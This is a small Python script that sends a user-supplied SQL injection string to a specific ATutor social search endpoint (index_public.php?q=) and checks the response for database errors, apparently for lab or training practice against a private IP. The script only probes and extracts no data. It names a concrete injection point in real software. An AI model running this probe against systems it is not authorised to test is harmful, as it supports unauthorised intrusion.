import sys
import re
import requests
from bs4 import BeautifulSoup
from colorama import Fore, Back, Style

def fromat_text(title, item):
    cr = '\r\n'
    section_break = cr + "*" * 20 + cr
    item = str(item)
    text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + item + section_break
    return text

def searchFriends_sqli(ip, inj_str):
    target = "http://%s/atutor/mods/_standard/social/index_public.php?q=%s" % (ip, inj_str)
    r = requests.get(target)
    s = BeautifulSoup(r.text, 'lxml')
    print(fromat_text("Response Headers:", r.headers))
    print(fromat_text("Response Contest:", r.text))
    error = re.search("Invalid argument", s.text)
    if error:
        print(Style.BRIGHT + Fore.RED + "Error were found in the response. Possible SQLi")
    else:
        print(Style.BRIGHT + Fore.RED + "No Errors")


def main():
    if len(sys.argv) != 3:
        print("(+) usage: %s <target> <injection_string>" % sys.argv[0])
        print("(+) eg: %s 192.168.121.103 \"aaa\"" % sys.argv[0])
        sys.exit(-1)

    ip = sys.argv[1]
    injection_string = sys.argv[2]

    searchFriends_sqli(ip, injection_string)

if __name__ == "__main__":
    main()
